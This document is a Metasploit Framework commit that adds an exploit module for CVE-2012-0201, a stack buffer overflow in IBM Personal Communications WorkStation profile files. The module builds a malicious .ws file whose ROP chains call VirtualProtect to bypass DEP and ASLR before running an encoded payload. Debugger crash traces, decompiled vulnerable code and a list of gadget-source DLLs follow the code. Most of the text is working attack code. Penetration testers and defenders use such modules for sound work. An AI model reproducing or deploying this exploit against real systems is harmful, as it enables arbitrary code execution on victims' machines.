Add CVE-2012-0201 IBM Personal Communications .ws buffer overflow
sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking # ASLR+DEP bypass
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IBM Personal Communications I-Series Access WorkStation 5.9 Profile',
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'Description' => %q{
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The IBM Personal Communications I-Series application WorkStation is susceptible to a
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stack-based buffer overflow vulnerability within file parsing in which data copied to a
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location in memory exceeds the size of the reserved destination area. The buffer is located
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on the runtime program stack.
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When the WorkStation file is opened it will reach the code path at 0x67575180 located in
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pcspref.dll which conducts string manipulation and validation on the data supplied in the
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WorkStation file. The application will first check if 'Profile' header exists and appends
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a dot with the next parameter within the file. It will then measure the character length
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of the header by calling strcspn with a dot as its null-terminated character.
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It will then write the header into memory and ensure the header ends with a NUL character.
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The parameter character array is passed to the strcpy() function. The application has
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declared a 52-element character array for the destination for strcpy function. The
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function does not perform bounds checking therefore, data can be written paste the end of
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the buffer variable resulting in corruption of adjacent variables including other local
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variables, program state information and function arguments. You will notice that the
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saved RETURN address at offset 0x6c is overwritten by the data written past the buffer.
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To ensure we can perform arbitrary code execution we must we provide a valid pointer at
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0x74 which is used as a argument for the called function at 0x675751ED as a id file
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extension parameter. Once the caller regains control we will reach our RETURN. The Ret
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instruction will be used to pop the overwritten saved return address which was currupted.
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This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform.
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Versions tested:
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IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a
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Which bundles pcsws.exe version 5090.27271.709
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Tested on:
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Microsoft Windows XP [Version 5.1.2600]
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Microsoft Windows Vista [Version 6.0.6002]
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Microsoft Windows 7 [Version 6.1.7600]
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},
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'License' => MSF_LICENSE,
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'Author' => 'TecR0c <roccogiovannicalvi[at]gmail.com>',# Discovery & Metasploit module
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x0a\x0d\x3d"
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# NUL '\0'
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# LF '\n' (new line)
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# CR '\r' (carriage ret)
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# =
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'IBM WorkStation 5.9 (Windows XP SP3)',{} ],
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[ 'IBM WorkStation 5.9 (Windows 7, Windows Vista)',{} ],
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],
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'References' =>
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[
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['CVE', '2012-0201'],
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['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21586166']
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],
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'DisclosureDate' => "Feb 28 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new( 'FILENAME', [ true, 'The file name.', 'msf.ws' ]),
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], self.class)
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end
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def nops(rop=false, n=1)
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return rop ? [0x67A74499] * n : [0x90909090] * n
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end
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def exploit
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if target.name =~ /Windows 7/ # Plus Windows Vista
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virtualprotect =
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[
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# - To get to the VirtualProtect Function
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# Since no Import Address Table (IAT) MS function addresses used to bypass Data Execution
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# Prevention (DEP) are imported within the applications modules which are required as they
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# have the ability to mark a portion of the stack as executable.
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# Also randomization of Windows dll's base addresses due to ASLR from Vista+ are enabled by
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# default. So we cannot directly add the MS function address into our buffer. Therefore, i
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# decided to do a [dereference] on another IAT address (kernel32.terminateprocess) then add
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# the difference between two MS functions in kernel32 to obtain my virtualprotect address so
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# i can still bypass ASLR. The closest i could get to virtualprotect function was 0x10.
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0X641A1EE2,# Removes 0XFFFFFFF0 from stack to EAX for performing calculations
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0XFFFFFFF0,# Address to get added into EAX
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0X641C20C0,# NEG operation to subtracts its operand 0XFFFFFFF0 from zero to set 0x10 in EAX
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0X67202128,# Exchanges the contents of two operands to store our 0x10 into EDX
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0X641A1EE2,# We then want to store our closest IAT address to VirtualProtect() function
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0X63B08084,# This is kernel32.terminateprocess used to get close to VirtualProtect()
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0X6412F404,# We then do a dereference to get the address of kernel32.terminateprocess
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0X6412E9AE,# We add 0x10 to kernel32.terminateprocess to load kernel32.VirtualProtect
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].pack("V*")
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elsif target.name =~ /XP SP3/
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virtualprotect =
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[
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0X641A1EE2, # We load our VirtualProtect Address into register EAX
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0X7C801AD4, # kernel32.VirtualProtect
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].pack("V*")
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end
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rop_gadgets_p1 =
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[
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0X67A74498,# Places the next memory address into EDI
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nops(true, 1),
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0X6414C496,# Adds the contents of source operand EAX to the destination operation EBX to set dwSize value
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].flatten.pack("V*")
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rop_gadgets_p2 =
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[
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0X641EC2D5,# Swaps values to get virtualprotect() into ESI
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0X64164082,# Put 0xFFFFFFC0 into EAX to be subtracted
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0XFFFFFFC0,# Value will be subtracted to calculate NewProtect
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0X641C20C0,# EAX equals NewProtect
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0X67202128,# Swaps values to get NewProtect parameter into EDX
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0X641F2D59,# Put next memory address into ECX
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0X67A85090,# &Writable location
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0X64164082,# Put NOPs into EAX
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nops,
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0X641BFDC2,# PUSHAD all parameters for VirtualProtect
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].flatten.pack("V*")
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buffer = rand_text_alpha(104)
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buffer << [0X673188A5].pack("V")# Set EBP to a pointer to CALL ESP
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buffer << [0X64164082].pack("V")# Set EAX to nul
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buffer << [0XFFFFFC18].pack("V")# Put 0xFFFFFC18 into EAX to be subtracted to calculate dwSize
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buffer << [0X641C20C0].pack("V")# NEG operation to subtracts its operand 0xFFFFFC18 from zero to set 0x3E8 in EAX
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buffer << rop_gadgets_p1
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buffer << virtualprotect
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buffer << rop_gadgets_p2
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buffer << payload.encoded
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para_value = rand_text_alpha(3)
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eol = "\r\n"
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# We only need the header, malicious parameter with value and file extension to trigger the bug
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file = "[Profile]" << eol
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file << "#{buffer}=#{para_value}" << eol
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file << "ID=WS"
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print_status("Creating '#{datastore['FILENAME']}' file for #{target.name}...")
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file_create(file)
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end
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end
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=begin
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(540.25c): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=003d1e49 ebx=77c5f7a0 ecx=00000000 edx=6758bdb0 esi=6758bdb1 edi=41414141
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eip=77c483b7 esp=00125360 ebp=0012536c iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
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*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll -
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MSVCRT!wcsxfrm+0x125:
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77c483b7 8a27 mov ah,byte ptr [edi] ds:0023:41414141=??
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ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll
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ModLoad: 67310000 67324000 C:\Program Files\IBM\Client Access\Emulator\PCSWDLG.DLL
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(5dc.65c): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000000 ebx=00000000 ecx=00000751 edx=00009240 esi=004018a0 edi=0012faa0
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eip=42424242 esp=001254e8 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
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42424242 ?? ???
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signed int __cdecl sub_67575180(const char *HeaderPlusParameter, char *FileExtension, int a3, int a4, int a5)
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{
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size_t SizeOfHeader;
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char ParameterName;
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char Dest[52];
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SizeOfHeader = strcspn(HeaderPlusParameter, ".");
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strncpy(Dest, HeaderPlusParameter, SizeOfHeader);
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Dest[SizeOfHeader] = 0;
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strcpy(&ParameterName, &HeaderPlusParameter[SizeOfHeader + 1]);
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return sub_67573D80(FileExtension, Dest, &ParameterName, a3, a5, a4);
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}
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0:000> da @esp
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0012549c "AAAAAAAA. .dAAAAAAAAAAAAAAAAAAAA"
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001254bc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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001254dc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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001254fc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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0012551c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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0012553c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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0012555c "AA"
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ROP gadgets from images
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Image name: cwbcore.dll
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Timestamp: Wed Dec 12 04:15:43 2007 (475EC5BF)
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CheckSum: 0011CD4C
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ImageSize: 00118000
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File version: 12.0.0.0
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CompanyName: IBM Corporation
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ProductName: IBM(R) System i(TM) Access for Windows
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Image name: PCSXFER.DLL
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Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4)
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CheckSum: 0007130E
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ImageSize: 0006B000
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File version: 5090.1.7103.892
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CompanyName: IBM Corporation
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ProductName: Personal Communications
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Image name: nstrc.dll
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CheckSum: 0000F9D6
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ImageSize: 00009000
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File version: 5090.0.6171.1308
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CompanyName: IBM Corporation
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ProductName: Personal Communications
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FileDescription: Independent Trace Facility
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Image name: PCSCTSS.DLL
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Timestamp: Wed Dec 12 04:15:47 2007 (475EC5C3)
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CheckSum: 0001D6EB
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ImageSize: 0007D000
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File version: 5090.1.7103.892
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CompanyName: IBM Corporation
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ProductName: Personal Communications
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Image name: PCSWDLG.DLL
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Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4)
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CheckSum: 0001FCBC
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ImageSize: 00014000
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File version: 5090.1.7103.892
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CompanyName: IBM Corporation
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ProductName: Personal Communications
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=end
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